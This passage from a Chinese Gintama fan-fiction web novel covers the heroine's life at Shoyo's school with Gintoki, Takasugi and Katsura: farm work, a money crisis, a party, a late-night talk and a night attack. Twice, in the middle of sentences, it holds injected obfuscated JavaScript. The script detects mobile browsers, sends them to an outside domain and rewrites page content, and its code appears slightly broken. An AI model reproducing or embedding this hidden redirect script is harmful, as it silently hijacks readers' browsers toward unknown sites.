“阿萤你……你还算是个大人吗?怎么能说这些话……”乖宝宝桂反应过来,脸蛋都红起来了。 “这才是大女人说的话好吧。”我死鱼眼鄙视他们。 “那你还是继续幼稚吧,这副样子太丢人,你别当大人了。”银时回头看了那些人一眼,回头勉强地道,一脸我可以忍受你幼稚的蠢样。 其他人就算了,坂田银时有资格鄙视我么?我还记得他将来的小母狗好吧。 “幼稚是因为跟你们一起而已,成熟留给了成年人。你们不懂,我的人生格言是随遇而安,适应时势。”我竖起手指摇了摇,昂起下巴教导,“强者从不抱怨环境,能适应就适应,看不顺眼,那努力改变它就行了。谁也不能让我委屈~” “是,是这样的吗?”桂愣了愣,大眼正经起来,也不知道是想到了什么。 “啊呸,偷看还能扯这种道理?假发,你别被忽悠了好吧!”高杉怒其不争地拍了他一记,“你脑子给我上线啊!” “假发啊,我从不跟大环境作对,但……也不会被改变。看不到希望的话,就去发掘希望,按照自己的意志去改变世界!就如我看美景会恢复元气一样,反正,人生就是折腾!看不爽的话,就把不爽的原因解决掉,让世界改变成我要的样子!”我义正辞严地摸摸桂被打的头。 没错,就如我坚定地认为肌肉男能安抚我的心灵一样,跟这些人一起我的天真幼稚可以让他们保持童真,在不同的环境坚定地走我的不同路线! “好,好厉害的想法。”桂宝宝双手握拳,似有感悟,“从根本开始,在成就自己的同时改变环境和世界……我明白了!” “完全就没有关系好吧!”银时气急败坏地揍了桂一拳,揪着他的领子就摇,“假发你清醒一些啊!不要被她绕进去!” 我看着他们闹,噗嗤一下笑了起来。随着我的笑声,附近一些路过的姑娘也看了过来,那美好的画面让我情不自禁地绽放笑容回赠。 姑娘们粉脸绯红,瞟了几眼便捂着嘴笑着走过。 高杉+银时+桂:…… “混蛋,惹那么多风流债会被诅咒的……” “别调戏那些姐姐了,人家还有大好前途……” “阿萤还是穿女装吧,至少受害者比较好打发……” “把你们满脑子的黄色废料给老子清干净,真是的……回去劳作吧,次郎他们都下地了。不听讲解,等下别糟蹋别人的东西啊。”我一人一下把他们扇回去。 银时边走边不爽,“不就是抓住往地里插,干就完事了,还那么多废话。” 只会说大话的笨蛋男人们……走进田里不也是连腿都拔不出来的蠢货? 我嘲笑地指着那几个摇摇晃晃在田里跌了个狗啃哔——的笨蛋,他们暴躁地丢过来的泥巴在溅到松阳脚边后就老实了。 此刻我只深恨没有手机或者相机,不然可以拍下他们的丑态以便日后威胁。 笑够了之后,我才把带来的青团分给一起坐着观看大伙劳作的农户和松阳,忍不住问道,“松阳,你到底从哪里找来这几个天才啊哈哈。” 松阳闻言微微一顿,笑容柔和,“不是我找到他们,是他们找到我哦。就跟是他们找到你一样。” “不,我觉得完全不一样。”按银时的说法,是我忽然从半空湿漉漉地掉下来,差点砸死他了。 我咬着青团,眨了眨眼,田里的热闹跟这边的岁月静好像是两个世界,但又融洽地相交。 松阳满眼温柔地看着那边已经打起来的银时和高杉,桂一如既往地劝了几句,成功地让他们两个打得更热闹,顺便把他也拽泥里,三人滚成一团把田里的泥都滚松动了。 哎,今晚回去他们又得加练了……不经意转头,我目光一滞,又是那个人。 刚才看到的白发男人手中多了根苦行僧的法杖,顺着他的视线,我转头看向拿着青团的松阳。 跟松阳说一声后,我便启程去隔壁村修理怀表了。 走过那人身边的时候,我脚步一顿,把手中的青团递过去,“给,要吃吗?” 那人大概没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957378|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料到我会忽然发问,斗笠下的面容有刹那的空白,弱化了原本肃杀的气势。他淡漠的目光落在我脸上,慢慢移到我手中的青团。 “豆沙馅的,很好吃哦。”这可是我冒死从银时的兜里悄悄拿出来的,本来打算路上饿了吃。看他没反应,我索性直接塞到他手中,“我看你盯了很久,一定也是想尝尝。我请你,吃甜的会让人心情变好哦~” 虽然这男的看上去就不是笑口常开的人,但……甜食能拉近人的距离嘛。我看向身后那群难得欢乐的大孩子们,笑得温柔,想起一句小王子里头的话。 在这一刻,我好像拥有了麦田的颜色。虽然眼前没有麦田,但有正在茁壮成长的时代希望。 也不管他反应怎样,我挥挥手踏上我的路程。 黄昏时分,火红染尽天际的晴空,云层堆积在一起,构造出绚烂的画面。 这么美好的场景中,我拿着怀表坐在路边发呆。空白一片的表面让我心中五味陈杂,思绪有些惘然。 隔壁村的机械工匠没见识过这种技术,不敢打开怀表里面,只能猜测大概是进了水,让我尝试放进米缸里藏一段时间。 这种古老的方法让我想起我奶奶,以前手机掉水里她也是这样做的。 忽然,清脆的铃响传来,我下意识抬头,目光骤然触及一抹眼熟的白光。 唰的一下,我极快地往后翻滚,一柄利刃刺进我原本坐着的地方,刀柄赫然是法杖。紧接着,几道穿着僧侣袍带着斗笠的人落在我附近。 然而,他们的目标不是我……我警惕地看着与他们对峙的,站在我面前的男人。 “是你?”今天被我塞青团的那个奇怪的男人,“你跟他们……怎么?你想要还俗他们不放人吗?” 他们看着就是同门相残的样子,武器都差不多。但我记得这里的和尚是可以娶妻的吧? 男人闻言瞥了我一眼,那眼神带了点鄙夷,跟成年版高杉看我的眼神有点像。 没等我们说话,那边的僧人攻了过来,我慌忙踢起脚边的石头飞过去。比我更快的,是男人爆闪的身形。 鲜红溅落在我脚边,我愣愣地眨眨眼,那几个人已经躺在地上了无生息了。后知后觉的恐惧狂袭,我不由自主地退后一步。 一道冷戾的视线落在我身上,一头白发的男人转身看了我一眼,那种毫无杀意却冷酷得如同看死人的目光让我脊背发寒,冷汗瞬间湿了背心。 比神威的死亡凝视更恐怖,我整个身体都动不了! “嗯?你的时间……果然停止了。”他看着我,忽然低声道,“你也是那个人的弟子?” 我的眼瞳微颤,难以置信地看着他。衣襟里头的怀表仿佛在发烫,我的耳边像有秒表跳动的声音。好半响,我才勉力稳住声音,“不是,我是……家人。” 不知道为什么,我一下子就确认‘那个人’是松阳。那就是说,今天他在麦田那边不是想吃青团,而是看松阳。 闻言,男人的眸底划过一抹我认为是妒忌……或者说羡慕的复杂情绪。但很快便转为冷漠,甚至对我的探究有一丝浅浅的杀意。 我心下一凛,不能控制地浑身颤抖。他明明没动,但我却感受到比神威那时候更深刻的危险。 男人没理会我的恐惧,捡起方才打斗跌落的斗笠带上,然后握着法杖转身离开。 直到他的身影消失,我才乏力般跌坐在地上,急促地呼吸。手揪着衣领,没有声音,也没有在发烫,时间依然是停止的。 “他……到底是什么人?” 诡异的鸦鸣在天空响彻,我怔怔地抬头,红色渐褪转为墨蓝交错的天空上飞过几个漆黑的身影,一根羽毛慢慢飘落在我手上。 黑漆漆的软毛在夕阳余光中反射出奇妙斑斓的色彩。 “阿萤,你好慢哦,天都黑了?” 木然地走了不知道多久,桂的声音忽然传来。 我猛地抬头,那三个熟悉的身影站在村口的位置,朝我看了过来。发黄的灯笼从他们身后照射,把他们的影子延伸到我的面前。 “喂,回家了,你还发什么呆呢?今天是松阳做饭,快走吧。”银时扛着他的刀,没好气地指了指我。 那些恐惧好像被驱散般,我拍拍裤子上的灰尘,走向他们,“我回来了,小子们。” “银时,晋晋,假发,你们要努力啊。”回去路上,我忽然有感而发。 “啊?你发什么疯?” “我现在才发现,你们还差得远……”那个男人,可是秒掉了好几个人。 “所以说,你在外面到底又惹了什么事啊?” 23.家庭危机 大危机,我们家的大危机! 我面无表情地抱着双手,高居临下地看着端正地跪坐在我面前,笑得单纯又无辜的松阳。 “你是说……我们家的钱,未来半年的伙食费……甚至过年的压岁钱,都丢了?”我揉了揉额头,再次确认。 松阳爽快地点点头,“是呢,真是太大意了呵呵。” “你就扯吧,你要是能丢钱或者被偷,松下村塾早败光了!”米缸今天也发现快空了,我抓狂地扯着头发,“那怎么办啊?我们家这半年都要吃空气吗?” “真是对不起呢,阿萤。”松阳笑容不变地摸摸我的头,“不过不用担心,我会想办法的。” “呵呵,我才不担心。松阳,要不你就从了隔壁村口那个对你虎视眈眈的富婆吧。神山女士还风韵犹存也不至于下不了口,你伟大些从了她,这样我们家就能跟着一起吃香喝辣了。”我突发奇想地抓着他的手由衷地建议。 “啊……嘞?”松阳笑容终于有了裂纹,嘴角的弧度都在抽搐,“那个,这不太好吧……” 还没等他开口,门外偷听的三只就跳了出来。 “不行,阿萤你怎么可以把老师卖了?”高杉气得颤抖着手打掉我握着松阳的手,那眼神仿佛我是逼良为X的恶人。 那眼神是挺可怕,但我一点也没在意,死鱼眼懒懒地看着他们,“对哦,还有你们。你们也去跟富婆交往一下吧,男人在恋爱上就是要多多经历,这样青春才会留下美好的回忆啊。” “谁要这种回忆啊!”银时炸毛地抡起刀就扔过来,“就算是假发也只会撩那些年轻寂寞的寡妇,不是年纪大就会上手的!” “太过分了银时,我不过是去安慰一下姐姐们而已!”桂一脸正气地反驳。 松阳捂着脸,笑得双肩乱颤,顺手接过刀后便安静地躲在我身后。 “脑筋太死的男人是赚不到钱的。”我伸出食指摇了摇,不负责任地道,“反正你们也快进入发情期,与其让你们被外头的妹子骗走,还不如目标明确呢。隔壁村的富婆也有年轻的,上吧,正好可以解决我们家的经济危机。” 闻言,松阳摸着下巴想了想,笑眯眯地点头认可,“这么说的话,好像也不是不行哦~毕竟银时你们也快到青春期的年纪了。” “老师!”高杉涨红了那张精致的小脸,慌乱地指着我,“她怎么不去勾搭有钱人啊?不用隔壁,我们村里也有……” “高杉你闭嘴,她惹的风流债已经够多了!”银时一把捂着他,气急败坏地道。 “就是,我们已经打发了好几个……”桂脱口而出,随即瞪大眼捂着自己的嘴。 我恍然大悟,没好气地拍了他们一记,“难怪,我就说怎么最近都没人送蔬果!你们到底乱说了什么啊?” “反正都是些没钱的浪人和小哥,不要也罢。”银时挖了挖鼻孔,不屑地扫了我一眼,那眼神仿佛在鄙视我的眼光。 “你没听过潜力股啊笨蛋。”啊不对,这样说也很奇怪。 其实我也不是很在意那些蔬果,毕竟过后我都找机会回赠一些甜点或者直接给钱的,不过是保持邻里间友好联系而已。我担心的是,这三个总是误会了什么的混蛋会给我招惹什么麻烦。 “你不是说要活在当下吗?男人看不了那么远,都是会变成渣渣的存在而已,就像无论吃什么珍馐佳肴,最后拉出来的都是粑粑,只是一坨坨还是一瘫的差别……”银时没好气地竖起手指,很有经验地道。 “yue……好恶心,你自己也是男人啊混蛋!”高杉受不了地捂着他的嘴,“你是以自己为例子吗?也有好男人的,老师就是啊!” 说实话,银时这句话不知道为什么让我很认同,毕竟他最后也成了一个渣渣般的madao。 “好了好了,你们别吵了,总之钱的事老师会解决,你们别担心就是了。”松阳倒是乐观得很,把他们打发回道场。 等他们走了,他才苦笑着戳戳我额头,“阿萤你啊,就爱逗他们。” 我皮皮地笑了,“谁叫他们太经不起逗,你不也很喜欢么。还有,我又不是小孩子,你要帮人就帮呗,还扯这样离谱的借口。我肯定同意你的做法,只是我们家这半年怎么办?” 见我拆穿他拙劣的谎言,松阳毫不意外地站起来轻松负手走出去,“没问题的,很快便能赚回来。” 这男人真是迷之自信,但一点也不普信,反而让人觉得信服。 哎,又被他装到了。 我大概能想到他怎么赚钱,那么强的人,这个时代,好像还真不难。只是……作为警务人员——曾经的,我不太认同这种赚钱方式而已。 想到他的钱的去向,我又是一叹,手指无意识地摸着自己的衣襟。 好歹也是村塾里少见的会乖乖地叫我姐姐的人啊。 从小姑娘家出来的时候已经是傍晚,我坐在河边发呆,重重地叹了口气,对这个落后又黑暗的时代再添一抹厌恶。 麻绳专挑细处断,厄运专找苦命人。城里的大名家族,贵族世家个个活得滋润,身体健康,偏偏老老实实地劳作的穷人遭遇这些病痛。尽管哪个时代都有这些事,但要是在我的世界,医学能进步一些,甚至能借助网络众筹,不需要这样捉襟见肘之余又看不到希望。 头上一暖,我没抬头,水面倒影着两个身影坐在我身边,两只不大的手还搭在我头顶揉了揉。 “你们就庆幸我昨天没洗头,不然把你们扔下河。”听我这么一说,那两只手默默地拿开,在我肩膀擦了擦。 “那不是你很重要的东西吗?连洗澡都不舍得拿下来的说……”高杉的声音听着有点闷闷的。 不拿下来只是因为懒,但我才不会说实话呢。 我哼了声,随意地扔出一颗石子,看着河面的倒影被晕开,随口说道,“是啊,那可是我的嫁妆呢,没想到在这里还挺值钱。” 当掉那条黄金项链的钱都给小姑娘家里了,就当是我的心意。 听日轮说过,月见萤当年也是被卖进吉原的,我不知道她经历了什么,但如果被卖进那些地方,就算再聪明也会吃尽苦头吧。 如果一条意外得来的项链能改变一个小姑娘的人生,那简直是超值了。至少,她的人生不会像真正的月见萤一样走进黑暗里头。 一本正经的胡扯这次好像被他们听进去了,高杉咬着唇,低声道,“以后……会再给你买的。” 这次小姑娘家的事就是他先发现的,所以他有点自责把我和松阳拖下水。 闻言,我忽然一愣。 不对,那项链好像就是……我看着他的脸,阴郁的小脸慢慢与那张冷俊的面容重叠。蓦地笑出声,我伸手一把抱着他,“晋晋啊……你可记得这话哦,将来一定要再给我买,不然我就没有项链可以当了。” 居然就这样成了一个闭环,高杉想帮的人,到底是因为他而得到了帮助……命运真的很神奇。 “什么啊,项链你不是当掉了吗?”高杉不自在地扭动一下。 “啊,是啊,没有嫁妆了……嫁不出去怎么办?”见不得他低迷,也不想解释这一切,我故作难过地扯开话题。 银时挖完鼻孔的手在我瞪视下收回去,慢条斯理地在自己衣服上擦了擦,“嫁不出去的 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摸着下巴邪魅一笑,我看着他们道,“假发也说了将来要给我养老,要不,我们拜把子吧~他说可以跟我结为姐妹哦~你们也加入?卷子,高子怎样?” “假发那脑子到底是怎么长的啊,不是神童吗?”银时捂脸。 “他只要不跟阿萤一起就还好……”高杉勉强地为桂申辩了一下,“他们一起脑子都会坏掉。” “她自己一个的时候脑子更不行……”银时严肃地点点头。 “别嘀咕了,来,伸手,我们发誓不求同年同月同日生,但求同年同月同日死!”我慷慨地举起手,兴致勃勃地看向他们,“击掌为盟~” “啊呸,谁要跟你约定这个?你都多大了,死一起的话我们白白少了十多年啊!”银时不干了,一手拍掉我的手。 “切,姐姐我可是永远的25岁啊。” “姐姐是谁啊?我们家里没这种东西吧?” “阿萤,这句话听着就不是吉利的话好吧。”高杉看我的眼神充满质疑,“真是的,谁会一直25岁啊?” 我但笑不语。除了谭校长,我是真的永远25岁。 如果能回去我的世界,月见萤永远停留在25岁。如果不能回去,真正的我也永远停留在25岁。 大概是我的笑容有点深奥,他们忽然就不闹了,难得地安静下来。 “放心吧,你才不会……永远25什么的,你,还有我们,一定会活很久,安享晚年,寿终正寝。”良久之后,银时忽然搔着头道。 “啊哈,那就承你吉言了。”我按着他的头揉弄,心尖比他的发还要软,“不过啊,约定这种东西,男人说出口了是要负责的哦。那对武士来说可是能比死亡更重的枷锁,直到完成约定为止都要一直记着。” “……把你的手拿开啊,别以为我没看到你刚刚摘草蹭了一手脏!”银时滚了两圈闪开,没想到忘了自己就在河边,这下直接滚进了河里。 “银时!”高杉吓了一跳,连忙伸手想要把人拉上来。 我笑得捶地,“怎么这么离谱的事总是发生在你身上啊笨蛋。” 坂田银时这个人真的是……太奇葩了! “晋晋,你当心别被他拉下去。”我伸手把高杉拎回来。 “约定什么的先别管,你给老子去死一死啊……啊,不行,要沉下去了!鼻子进水了……快,救我!” “哇,放手,我才不要下河!对了,我们赶快回去吧,今晚我们合宿吧~” 小姑娘要离开村塾了,我答应要给她一个难忘的farewell派对。 24.萤火之光 平日充斥着干劲的道场如今全是欢笑和歌声。 “叱咤风云我任意闯万众仰望,叱咤风云我绝不需往后看,翻天覆地我定我写自我的法律……” 我拿着茶杯当麦克风,带着笑容保持温和但身体老实地跟着我摆动的松阳给孩子们高歌,尽管听不懂歌词,但大家还是非常捧场地摇摆起来。 “呐,这就是她说得,盛大的派对吗?”银时手指挖在鼻孔里头,死鱼眼看着眼前混乱的一切,声音带了点疑惑。 高杉傻愣地看着带领全体飙歌的我和松阳,揉了揉眼睛。 道场今晚成了合宿的场地,摆放着大家的被褥,而现在,所有人都抱着枕头蓄势待发。 “家人们,high起来,这一刻你们不是同伴,要为自己而战,都给我冲啊~” 带着所有人高歌几曲后,我欢乐地宣布开战,狠狠地把枕头砸向其中一人。战鼓敲响,一时间枕头乱飞。 “我说,你不是一直说自己是大人吗?你在凑什么热闹啊?”高杉抱着头匍匐到我身边,没好气地道。 “你不懂,枕头大战这种东西对于孩子来说太幼稚,对我这种成年人来说刚刚好啊。”我边攻击边防守,还得抽空回答他的问题,忙得不亦乐乎。 这种完虐他们的游戏太有自豪感了! “请你珍惜一下自己的人品可以吗?唔!”银时还没说完便被砸中,整个人差点被撞击被褥里头。 “那种东西你要的话给你吧,反正你也挺缺的。”卖身卖了三次给我的他有什么资格谈人品? 我一个枕头摁在他脸上,随即猛地弯身避开,从后而来的枕头一下把好不容易爬起来的他再次砸倒。 “老师,怎么你也……”高杉难以置信地看着另一边带着桂攻击的松阳。 “啊哈……这种东西对于成年人来说刚刚好啊~”松阳笑眯眯地躲过攻击,随手扔了两个枕头出去,快狠准。 不愧是他。 桂在他的掩护下屡发屡中,小脸兴奋得漾起幸福的红晕,无差别攻击越发疯狂。 “孩子们,最后胜出的人,可以得到额外的草莓布丁哦~”松阳偏头笑得纯良地增加奖品。 “哇哦~”大家的气氛更热烈了。 阴狠的风忽然从后面吹起,银时双眸猩红地站起来,整个背后燃起一片熊熊烈焰,“谁也别跟老子抢!” “开玩笑,剑道就算了,这个战场绝对不会让给你啊银时!”平日被他狠虐的同伴们纷纷发起挑战。 “笑话,说得你赢定了似的。”原本不屑下场的高杉扯唇笑了,两只手抓着枕头虎视眈眈。 “啊哈哈,来吧,银时,我绝不会认输的~”桂明显已经沉醉在游戏中了。 “现在宣战你是心高气傲,等下开战你就生死难料!” 大战一触即发,我和松阳趴在地上,匍匐前进来到门边,悄悄拉开拉门躲出去。对视一秒后,我们蓦地笑出声来。 “还以为阿萤你会跟大家一起玩。”松阳眉眼俱弯,笑得畅快。 “开玩笑,我可是大人呢。”跟他一起看着里头被压着抽的银时,我拍了拍自己的胸膛。 哎,银时这混蛋平时人缘不错,这下竟被群殴,可见世上还是坏人多啊,连桂也倒戈了。 “joy3全员BE,真是一场酣畅淋漓的大战哈哈。”我从一边拿过准备好的酒瓶,朝松阳笑道,“走吧,现在开始才是成人时间呢~” 松阳点点头,拉上门,把银时他们的怒吼和大伙肆意的笑声关在门内。 “我这辈子都不要再玩这个游戏……” “附议……” “附议……” 夜凉如水,深秋的夜晚比之前多了丝凉意。庭院里头的花已落下,篱笆再一次稀疏,在清冷的月色下有一丝秋末的萧索。 一缕淡淡的酒香萦绕在身边,我低头看着杯中透明的酒,笑着抿了口,“不愧是自家酿造的,好醇。” 偏头看过去,身边的男子淡茶色的长发轻动,俊美的面容上永远带着和煦的笑容,眼神温柔。 看他拿着酒杯却无意轻酌的样子,我以为他酒力不怎样或者怕自己酒品不好在学生前丢脸,便把泡好的茶递过去,忽然问道,“呐,松阳你为什么要开这个松下村塾?” 这个村塾在我看来就跟支教做善事差不多,全靠他一人经营,以他的才学应该有更多选择才对。但他就是安分地在这里教导着这些孩子,连课本都是他亲自写的。平时好像什么都不在意,除了那些人挑衅来伤害他的学生,不然他几乎不会展露实力,就算是反击也从来不真的伤人,只是碎掉对方的武器来震慑。 这样的人,简直就是圣人。但明明那么温柔,为什么错眼之际会觉得他的眼神空洞看不透? 我一直觉得他是极具亲和感的人,偶尔又会觉得他身上有种神秘的疏离感,好矛盾的男人。 我像是打游戏发现隐藏剧情般好奇,想知道这个世界是否存在if线,如同我担一般。但这些东西一般都藏太深,我又不愿意勉强他。 松阳接过热茶,满足地叹了声,才笑着看向我,“我想要,找另一条出路。” “为这个国家吗?”我想起无数先辈,尤其是那位以笔杆作为武器的大文豪,他就是为了寻找国家的出路,弃医从文,唤醒国人的麻木。 “啊哈,也是一部分。”松阳神色微暗,月娘躲进了云层里,失去月华的照拂,他仿佛陷入了一片阴影中,面容无端生出一丝阴霾,“我一直……在等着能打败我的人,这样教育出来的孩子,也许能做到我想做的事也不一定。” “这是强者的愿望吗?”我不是很懂,但能感受到松阳是全心全意地教导着这群孩子,无论处于什么缘由,这些孩子因他而改变的将来和命运。“你指望他们青出于蓝来打败你?” 松阳摇了摇头,笑容一敛,“他们的剑还不能到达我呢……其实我最近也在想,光跟着我的脚步,他们是无法打败我的,就连银时也不能做到。” 所以,他才一直教导那几个孩子要自己寻找自己的武士道,追求自身的强大?这种精神和追求,我不太理解。但是作为取长于不同老师的学院派,我对这话有自己的见解。 “完全复刻的话,确实是办不到的。松阳,我有没有跟你说过,我有很多老师短暂地教导过我。我们这种学院派,不同的知识由不同的老师教授,也受不同的思想影响。我们很少会完全认同或者复刻一个老师的想法,甚至会反驳他们的想法。我们会随着自己思想的深化,接触的文化不一样,经历不同而形成专属于自己的想法,成就自己的人生。尽管现在只有你一个,但我想,对于银时他们来说,他们的遭遇和未来遇到的一切,都会超出你预料般,塑造他们的人生。”喝光杯里的酒,我伸了个懒腰。 月华再度洒落,一切美好得如同梦幻般。 松阳看着我,一双灰色的眸子深邃温柔,“这样啊……我还是头一次听到这种说法。但……确实很厉害的样子。你说得对,人类,是自由的。他们的想法,认知,也应该是自由生长的。” “人们不是都说,真正的强者啊,不是能打败多少敌人,而是不断地战胜自己么。”所以才会有修身的说法。 松阳神色动容,像是没想到我会这样说般,他垂眸看着茶杯,轻声道,“是啊,不断追求强大,不是为了斩杀别人,而是为了战胜那个懦弱的自己。我希望有一天,当我自己无能力斩杀懦弱的一面时,能有人战胜我。” 他的想法和观点从来都很超前,所以听到他的话我并没有很吃惊。但……他是怎么理解懦弱两个字?他哪里弱了? 一定是我醉了,听错了。 我转身,看着坐在走廊上温柔得有点哀伤的男人。 “我以前曾看到过一个形容。孩子就像种子,会在不同的土壤里头发芽,开出千万种模样的花。他们甚至可以不是花,是各种树木,茁壮成长,然后长成参天的大树。总有一天,在这个天人入侵的世界的孩子,会成长起来,为这个地球撑起一片属于人类的天空。人类的生命虽然短暂,本性也可能会懦弱,但总是能创造出很多奇迹。” 松阳的脸色有点怔忪,“奇迹吗?” 揉了揉额头,酒意有点上头,我话也多了起来。摇摇头,我认真地看着他们,“时代一定会发展,改变国家什么的,孩子们有你的教导,一定会做到的。” 就如桂一直有着改变国家,建设新时代这种抱负,在松阳的教导下他找到了自己的目标,也一直坚定地往前走。尽管偶尔会脱线,但……想到将来那个正气凛然的男子,我竟然有种他肯定能做到的信任。 有些事,一个人做事以卵击石,但所有人一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975517|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做便是志在必得。时代发展,总是由星星之火开始,直到燎原。 “呵呵……”松阳忽然低笑起来,偏头看着我的目光轻柔安定,“能教养出阿萤的家庭,一定是很好的。因为阿萤是在爱的土壤里长出来,盛放在阳光下的花,跟我完全不一样呢。” 啊哈?我愣愣地眨了眨眼,指着自己,“不,我才不是脆弱的花呢,我现在已经可以跟高杉打好几个回合了哦~我是漆黑中也会发光发亮的萤火虫~飞萤之火亦可燎原~” “是么,萤火虫可是屁股发光的哦~” “讨厌,这方面的知识不要太丰富嘛!” 跟松阳道过晚安后,我坐在走廊上,看着萧索的庭院突然间有些难过。 怀表没修好,我不知道自己还能留在这里多久,更不知道现在这种平静的生活能压住地下的暗涌多久。松阳的想法与目前的时代有冲突,最近听那些姐姐说起幕府的动态,还有我曾亲眼目睹的天人飞船满天跑的江户…… 尽管跟松阳说得笃定,但……那么坚定地追随着松阳的三人,感情那么好的三人,在未来几乎没有交集,尤其是高杉,到底发生过什么。 酒气上头,一个个想法旋转在脑海,我越想头越疼,抱着膝盖埋着头,莫名地有一种哀伤萦绕在我心头。 他们的未来大概会很曲折,才会变成我看到的样子。 那么我呢?在江户遇到的时候,我不认识他们……那是不是代表我不能陪着他们一起走到那个时间? 身边窸窣的声响细微,对我而言已经熟悉的气息在身边停留。然后,有什么东西披上我的肩头。 “那些姐姐说的果然没错,人喝了酒就会emo。”桂带笑的嗓音响在耳边。 “差点被枕头砸死的是我们,她emo什么啊……”银时的声音一贯的懒散,我不用看都能想到他死鱼眼的样子。 “所以到底是谁给她酒啊,老师也不阻止……喂,你没死吧?”高杉撞了一下我的肩膀,“心智还没成年就别学着人家喝酒嘛。” 我没好气地抬头,下巴放在膝盖上,“谁emo了?女人的心思别乱猜哦,少年~你们将来就会懂,酒是好东西啊。高兴时它助兴,难过时它可以让人忘记一些事,生气时它可以让人爆发……” “那……你现在想忘记什么吗?”月色下的桂精致得如同女儿节的人偶,那双眸子仿佛洞悉人心般灵动。他好像直接就认为我是难过了。 我眼珠移了移,看向庭院,“别说笑了,本来记得的就不多了,还能忘记什么呢。我只是在想,今年春天没跟大家一起赏樱,有点遗憾。不知道初雪的时候,能不能赶上。” “那还不容易?”银时非常不客气地把下巴搁在我头顶,双手撑在我肩膀上,“下初雪的时候,一起去看就行了。就算你睡死了,我也会把你拖起来。” “你自己能起来再说大话吧。”我动了动没挣脱,眼珠往上睨着他。明明最爱赖床的就是他好吧。 “还有打雪仗,阿萤一定会喜欢的,比枕头大战还好玩。”桂笑着提议,“去年我们就玩过。” “好玩的是你,高杉那弱鸡当晚就病了。” “闭嘴。”高杉没好气地拍他一记,别扭地看了我一眼,仿佛不是很情愿地道,“明年……你再跟我们一起去附近的樱花树那里赏樱……反正,到时候大家都会一起去,不会落下你。” “嘿嘿,次郎他们跟我说了,今年赏樱的时候,你和银时在那边打起来,结果把松阳准备的便当给踢翻了,被罚得很惨。”尽管平时跟这三个孩子相处最多,但我跟村塾其他孩子的关系也很不错,间或还会指导他们功课。 被松阳认真教导的孩子们,都是十分善良的宝宝,对我非常亲近,经常说起他们以前的蠢事。 “那小子……今年打雪仗我要报刚才的仇啊!阿萤你不准帮他们啊,你是我们这一家的,要同一阵线。” 我听着他们一人一句说着四季的约定,唇边慢慢勾起笑意,“嗯,约好了,赏樱,去海边劈西瓜,扫落叶,看初雪,一个都不能少~” “白痴,这不是理所当然的吗?你除了这里也没地方可以去了吧……痛痛痛!” “你也一样啦,混蛋天然卷。真是的,明年我的目标,你们全部给我用敬语!” 我要当长辈,我要名正言顺地压榨他们! 25.等价交换 还没入冬,凌晨的气温便让我冷醒……不对,那种冷意不是来自温度! 我猛地张扬,反应极快地翻滚,连人带被地滚出被褥。下一瞬,一柄刀刃插进被褥中,要是慢上半秒,插的就是我的胸口了。 黑暗中一抹气息迅速流动,我使劲横踢,一个黑影应声砸出了拉门之外。抄起竹刀,我顺着清脆的铃音追了出去。 月黑风高,视野算不上清晰,只能看到一个身穿黑衣的人迅猛地朝我袭来,手中的长刀在黑暗中划出银白色的弧光。 啪的一下,我拿在左手的墨砚被砍中,碎片之中对方的瞳孔轻颤,倒映着我冷凝的面容。右手狠狠地横劈,竹刀砍在那人的胸腹之间,把他整个甩飞至外面的篱笆上。 那人爬起来,想要握刀,我抬腿飞踢,把他的刀踢至一边,顺势狠狠地踩在他的胸膛上,竹刀用力刺下。 鲜血从他口中喷出,沾上我睡衣的一角。我沉静地垂眸看着他,“是采花还是偷钱?还是其他目的,从实招来。你无权保持沉默,但你所说的都将作为呈堂证供。” 妈的,台词又说惯了。 对方面容看不清,狠戾的双眼看着我,“你……不是那位大人……但为什么,你的时间……” “阿萤!”咚咚咚的地板作响,桂他们冲了过来。 我下意识回头看了眼,踩着人的脚腕蓦地被抓住一甩,我整个人翻倒,脊背砸在地上一痛,喉咙顿时被掐住。 对方从身后箍着我,“别过来,把武器丢开!” 银时+高杉+桂,三人想都不想就把竹刀用力地扔过来。其中一把竹刀砸在身后人的额头,他吃痛地松了力度。 我握着他的手臂,借力抬腿后空翻,膝盖狠狠砸在他面上。双腿夹着他的头,死命把人压进地下。 “混蛋们,差点就砸到我了!”我押着人,抬头朝那边吼道。 “切,不是他叫丢的吗?我们也是怕他掐死你而已。”银时不负责任地道,慢慢地把他不离身的刀抽出来,架在那人的脖子上。 “说罢,是谁派你来?想要做什么?”高杉踩着那人的脸,无视他凶狠的目光,冷冷地问道。 桂护在我身前,带着我退后两步,“老师今晚不在,他们的目标是阿萤。” 我想起方才那人的话,目光微沉。他应该是以为我是那位大人……所以,那位大人,指的是松阳吗? “先绑起来吧,老师早上就回来了,到时候再……”银时还没说完,漆黑的夜空忽然响起了诡异的乌鸦叫声。 高杉谨慎地抬头,无奈天空太黑,根本看不到什么,“银时,小心点。” 随着鸦鸣,一缕极细微的声响蓦地从边上而来。 “趴下!” 我神色一惊,猛地向前把桂扑倒护在身下,银时反应极快地撞倒高杉。同一时间,空气中掠过数道劲风,数支小臂长的针型暗器刺进地下。而方才被银时和高杉押着的人,像是幻影般消失了,在那一瞬之间。 那种紧绷的凝滞还没消失,我们四人握着刀背靠着背,警戒地环视四周的黑暗。 